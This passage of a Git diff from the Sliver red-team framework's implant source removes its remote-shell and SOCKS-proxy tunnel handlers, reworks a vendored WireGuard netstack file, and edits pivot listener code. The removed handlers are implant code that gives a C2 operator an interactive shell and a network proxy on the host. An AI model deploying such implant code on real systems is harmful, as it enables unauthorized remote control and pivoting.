conn: connection,
}
n, err := io.Copy(tWriter, tunnel.Reader)
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
@@ -1,118 +0,0 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"io"
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
// At this point, comand is already started by StartInteractive
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to spawn! err: %v", err)
// {{end}}
return
} else {
// {{if .Config.Debug}}
log.Printf("[shell] Process spawned!")
// {{end}}
}
tunnel := transports.NewTunnel(
shellReq.TunnelID,
systemShell.Stdout,
systemShell.Stdin,
)
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string, err error) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
// {{end}}
systemShell.Stop()
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if err != nil {
cleanup("io error", err)
return
}
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
@@ -1,165 +0,0 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"errors"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
}
var socksServer *socks5.Server
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
return
}
} else {
tunnel.(chan []byte) <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: atomic.LoadUint64(&s.Sequence),
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
atomic.AddUint64(&s.Sequence, 1)
return len(b), err
}
func (s *socks) Close() error {
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -1,38 +0,0 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
+100 -351
View File
@@ -1,6 +1,7 @@
/* SPDX-License-Identifier: MIT
*
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
* https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
*/
package netstack
@@ -13,9 +14,7 @@ import (
"fmt"
"io"
"net"
"net/netip"
"os"
"regexp"
"strconv"
"strings"
"time"
@@ -23,17 +22,15 @@ import (
"golang.zx2c4.com/wireguard/tun"
"golang.org/x/net/dns/dnsmessage"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/buffer"
"gvisor.dev/gvisor/pkg/tcpip/header"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
"gvisor.dev/gvisor/pkg/waiter"
"inet.af/netstack/tcpip"
"inet.af/netstack/tcpip/adapters/gonet"
"inet.af/netstack/tcpip/buffer"
"inet.af/netstack/tcpip/header"
"inet.af/netstack/tcpip/network/ipv4"
"inet.af/netstack/tcpip/network/ipv6"
"inet.af/netstack/tcpip/stack"
"inet.af/netstack/tcpip/transport/tcp"
"inet.af/netstack/tcpip/transport/udp"
)
type netTun struct {
@@ -42,14 +39,11 @@ type netTun struct {
events chan tun.Event
incomingPacket chan buffer.VectorisedView
mtu int
dnsServers []netip.Addr
dnsServers []net.IP
hasV4, hasV6 bool
}
type (
endpoint netTun
Net netTun
)
type endpoint netTun
type Net netTun
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
e.dispatcher = dispatcher
@@ -81,16 +75,12 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
func (*endpoint) Wait() {}
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
return nil
}
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
panic("not implemented")
}
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
panic("not implemented")
}
@@ -101,10 +91,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
}
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
opts := stack.Options{
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
HandleLocal: true,
}
dev := &netTun{
@@ -119,23 +109,17 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
}
for _, ip := range localAddresses {
var protoNumber tcpip.NetworkProtocolNumber
if ip.Is4() {
protoNumber = ipv4.ProtocolNumber
} else if ip.Is6() {
protoNumber = ipv6.ProtocolNumber
}
protoAddr := tcpip.ProtocolAddress{
Protocol: protoNumber,
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
}
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
if tcpipErr != nil {
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
}
if ip.Is4() {
if ip4 := ip.To4(); ip4 != nil {
tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
if tcpipErr != nil {
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
}
dev.hasV4 = true
} else if ip.Is6() {
} else {
tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
if tcpipErr != nil {
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
}
dev.hasV6 = true
}
}
@@ -145,6 +129,10 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
if dev.hasV6 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
}
// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
// if tcpipErr != nil {
// return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
// }
dev.events <- tun.EventUp
return dev, (*Net)(dev), nil
@@ -207,289 +195,60 @@ func (tun *netTun) MTU() (int, error) {
return tun.mtu, nil
}
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
var protoNumber tcpip.NetworkProtocolNumber
if endpoint.Addr().Is4() {
protoNumber = ipv4.ProtocolNumber
func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
if ip4 := ip.To4(); ip4 != nil {
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(ip4),
Port: uint16(port),
}, ipv4.ProtocolNumber
} else {
protoNumber = ipv6.ProtocolNumber
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(ip),
Port: uint16(port),
}, ipv6.ProtocolNumber
}
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
Port: endpoint.Port(),
}, protoNumber
}
func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
fa, pn := convertToFullAddr(addr)
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
}
func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
if addr == nil {
return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
panic("todo: deal with auto addr semantics for nil addr")
}
ip, _ := netip.AddrFromSlice(addr.IP)
return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
}
func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
fa, pn := convertToFullAddr(addr)
return gonet.DialTCP(net.stack, fa, pn)
fa, pn := convertToFullAddr(addr.IP, addr.Port)
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
}
func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
if addr == nil {
return net.DialTCPAddrPort(netip.AddrPort{})
panic("todo: deal with auto addr semantics for nil addr")
}
ip, _ := netip.AddrFromSlice(addr.IP)
return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
}
func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
fa, pn := convertToFullAddr(addr)
return gonet.ListenTCP(net.stack, fa, pn)
fa, pn := convertToFullAddr(addr.IP, addr.Port)
return gonet.DialTCP(net.stack, fa, pn)
}
func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
if addr == nil {
return net.ListenTCPAddrPort(netip.AddrPort{})
panic("todo: deal with auto addr semantics for nil addr")
}
ip, _ := netip.AddrFromSlice(addr.IP)
return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
}
func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
var lfa, rfa *tcpip.FullAddress
var pn tcpip.NetworkProtocolNumber
if laddr.IsValid() || laddr.Port() > 0 {
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(laddr)
lfa = &addr
}
if raddr.IsValid() || raddr.Port() > 0 {
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(raddr)
rfa = &addr
}
return gonet.DialUDP(net.stack, lfa, rfa, pn)
}
func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
return net.DialUDPAddrPort(laddr, netip.AddrPort{})
fa, pn := convertToFullAddr(addr.IP, addr.Port)
return gonet.ListenTCP(net.stack, fa, pn)
}
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
var la, ra netip.AddrPort
var lfa, rfa *tcpip.FullAddress
var pn tcpip.NetworkProtocolNumber
if laddr != nil {
ip, _ := netip.AddrFromSlice(laddr.IP)
la = netip.AddrPortFrom(ip, uint16(laddr.Port))
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
lfa = &addr
}
if raddr != nil {
ip, _ := netip.AddrFromSlice(raddr.IP)
ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
rfa = &addr
}
return net.DialUDPAddrPort(la, ra)
}
func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
return net.DialUDP(laddr, nil)
}
type PingConn struct {
laddr PingAddr
raddr PingAddr
wq waiter.Queue
ep tcpip.Endpoint
deadline *time.Timer
}
type PingAddr struct{ addr netip.Addr }
func (ia PingAddr) String() string {
return ia.addr.String()
}
func (ia PingAddr) Network() string {
if ia.addr.Is4() {
return "ping4"
} else if ia.addr.Is6() {
return "ping6"
}
return "ping"
}
func (ia PingAddr) Addr() netip.Addr {
return ia.addr
}
func PingAddrFromAddr(addr netip.Addr) *PingAddr {
return &PingAddr{addr}
}
func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
if !laddr.IsValid() && !raddr.IsValid() {
return nil, errors.New("ping dial: invalid address")
}
v6 := laddr.Is6() || raddr.Is6()
bind := laddr.IsValid()
if !bind {
if v6 {
laddr = netip.IPv6Unspecified()
} else {
laddr = netip.IPv4Unspecified()
}
}
tn := icmp.ProtocolNumber4
pn := ipv4.ProtocolNumber
if v6 {
tn = icmp.ProtocolNumber6
pn = ipv6.ProtocolNumber
}
pc := &PingConn{
laddr: PingAddr{laddr},
deadline: time.NewTimer(time.Hour << 10),
}
pc.deadline.Stop()
ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
if tcpipErr != nil {
return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
}
pc.ep = ep
if bind {
fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
return nil, fmt.Errorf("ping bind: %s", tcpipErr)
}
}
if raddr.IsValid() {
pc.raddr = PingAddr{raddr}
fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
return nil, fmt.Errorf("ping connect: %s", tcpipErr)
}
}
return pc, nil
}
func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
return net.DialPingAddr(laddr, netip.Addr{})
}
func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
var la, ra netip.Addr
if laddr != nil {
la = laddr.addr
}
if raddr != nil {
ra = raddr.addr
}
return net.DialPingAddr(la, ra)
}
func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
var la netip.Addr
if laddr != nil {
la = laddr.addr
}
return net.ListenPingAddr(la)
}
func (pc *PingConn) LocalAddr() net.Addr {
return pc.laddr
}
func (pc *PingConn) RemoteAddr() net.Addr {
return pc.raddr
}
func (pc *PingConn) Close() error {
pc.deadline.Reset(0)
pc.ep.Close()
return nil
}
func (pc *PingConn) SetWriteDeadline(t time.Time) error {
return errors.New("not implemented")
}
func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
var na netip.Addr
switch v := addr.(type) {
case *PingAddr:
na = v.addr
case *net.IPAddr:
na, _ = netip.AddrFromSlice(v.IP)
default:
return 0, fmt.Errorf("ping write: wrong net.Addr type")
}
if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
return 0, fmt.Errorf("ping write: mismatched protocols")
}
buf := buffer.NewViewFromBytes(p)
rdr := buf.Reader()
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
// won't block, no deadlines
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
To: &rfa,
})
if tcpipErr != nil {
return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
}
return int(n64), nil
}
func (pc *PingConn) Write(p []byte) (n int, err error) {
return pc.WriteTo(p, &pc.raddr)
}
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
e, notifyCh := waiter.NewChannelEntry(nil)
pc.wq.EventRegister(&e, waiter.EventIn)
defer pc.wq.EventUnregister(&e)
select {
case <-pc.deadline.C:
return 0, nil, os.ErrDeadlineExceeded
case <-notifyCh:
}
w := tcpip.SliceWriter(p)
res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
NeedRemoteAddr: true,
})
if tcpipErr != nil {
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
}
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
return res.Count, &PingAddr{remoteAddr}, nil
}
func (pc *PingConn) Read(p []byte) (n int, err error) {
n, _, err = pc.ReadFrom(p)
return
}
func (pc *PingConn) SetDeadline(t time.Time) error {
// pc.SetWriteDeadline is unimplemented
return pc.SetReadDeadline(t)
}
func (pc *PingConn) SetReadDeadline(t time.Time) error {
pc.deadline.Reset(t.Sub(time.Now()))
return nil
return gonet.DialUDP(net.stack, lfa, rfa, pn)
}
var (
@@ -667,7 +426,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
return p, h, nil
}
func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
q.Class = dnsmessage.ClassINET
id, udpReq, tcpReq, err := newRequest(q)
if err != nil {
@@ -681,19 +440,16 @@ func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Q
var c net.Conn
var err error
if useUDP {
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
} else {
c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
}
if err != nil {
return dnsmessage.Parser{}, dnsmessage.Header{}, err
}
if d, ok := ctx.Deadline(); ok && !d.IsZero() {
err := c.SetDeadline(d)
if err != nil {
return dnsmessage.Parser{}, dnsmessage.Header{}, err
}
c.SetDeadline(d)
}
var p dnsmessage.Parser
var h dnsmessage.Header
@@ -837,8 +593,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
zlen = zidx
}
}
if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
return []string{ip.String()}, nil
if ip := net.ParseIP(host[:zlen]); ip != nil {
return []string{host[:zlen]}, nil
}
if !isDomainName(host) {
@@ -849,7 +605,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
server string
error
}
var addrsV4, addrsV6 []netip.Addr
var addrsV4, addrsV6 []net.IP
lanes := 0
if tnet.hasV4 {
lanes++
@@ -904,7 +660,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
break loop
}
addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
addrsV4 = append(addrsV4, net.IP(a.A[:]))
case dnsmessage.TypeAAAA:
aaaa, err := result.p.AAAAResource()
@@ -916,7 +672,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
break loop
}
addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
default:
if err := result.p.SkipAnswer(); err != nil {
@@ -932,7 +688,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
}
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
var addrs []netip.Addr
var addrs []net.IP
if tnet.hasV6 {
addrs = append(addrsV6, addrsV4...)
} else {
@@ -969,48 +725,44 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
return now.Add(timeout), nil
}
var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
if ctx == nil {
panic("nil context")
}
var acceptV4, acceptV6 bool
matches := protoSplitter.FindStringSubmatch(network)
if matches == nil {
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
} else if len(matches[2]) == 0 {
var acceptV4, acceptV6, useUDP bool
if len(network) == 3 {
acceptV4 = true
acceptV6 = true
} else {
acceptV4 = matches[2][0] == '4'
acceptV6 = !acceptV4
} else if len(network) == 4 {
acceptV4 = network[3] == '4'
acceptV6 = network[3] == '6'
}
var host string
var port int
if matches[1] == "ping" {
host = address
} else {
var sport string
var err error
host, sport, err = net.SplitHostPort(address)
if err != nil {
return nil, &net.OpError{Op: "dial", Err: err}
}
port, err = strconv.Atoi(sport)
if err != nil || port < 0 || port > 65535 {
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
}
if !acceptV4 && !acceptV6 {
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
}
if network[:3] == "udp" {
useUDP = true
} else if network[:3] != "tcp" {
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
}
host, sport, err := net.SplitHostPort(address)
if err != nil {
return nil, &net.OpError{Op: "dial", Err: err}
}
port, err := strconv.Atoi(sport)
if err != nil || port < 0 || port > 65535 {
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
}
allAddr, err := tnet.LookupContextHost(ctx, host)
if err != nil {
return nil, &net.OpError{Op: "dial", Err: err}
}
var addrs []netip.AddrPort
var addrs []net.IP
for _, addr := range allAddr {
ip, err := netip.ParseAddr(addr)
if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
if strings.IndexByte(addr, ':') != -1 && acceptV6 {
addrs = append(addrs, net.ParseIP(addr))
} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
addrs = append(addrs, net.ParseIP(addr))
}
}
if len(addrs) == 0 && len(allAddr) != 0 {
@@ -1048,13 +800,10 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
}
var c net.Conn
switch matches[1] {
case "tcp":
c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
case "udp":
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
case "ping":
c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
if useUDP {
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
} else {
c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
}
if err == nil {
return c, nil
+1 -2
View File
@@ -19,7 +19,6 @@ package pivots
*/
import (
"strings"
"sync"
"time"
@@ -38,7 +37,7 @@ var (
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
fullName := "\\\\.\\pipe\\" + address
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
+22 -22
View File
@@ -24,7 +24,6 @@ import (
"encoding/base64"
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
@@ -39,6 +38,10 @@ import (
"google.golang.org/protobuf/proto"
)
const (
readBufSize = 1024
)
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
@@ -111,14 +114,13 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
// {{end}}
return false
}
go listener.Start()
AddListener(listener)
}
return true
})
stoppedPivotListeners = &sync.Map{}
stoppedPivotListeners = nil
}
// StopAllListeners - Stop all pivot listeners
@@ -474,9 +476,7 @@ func (p *NetConnPivot) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := io.ReadFull(p.conn, dataLengthBuf)
n, err := p.conn.Read(dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -485,23 +485,23 @@ func (p *NetConnPivot) read() ([]byte, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
readBuf := make([]byte, readBufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
return dataBuf, err
}
-27
View File
@@ -1,4 +1,3 @@
//go:build windows
// +build windows
package priv
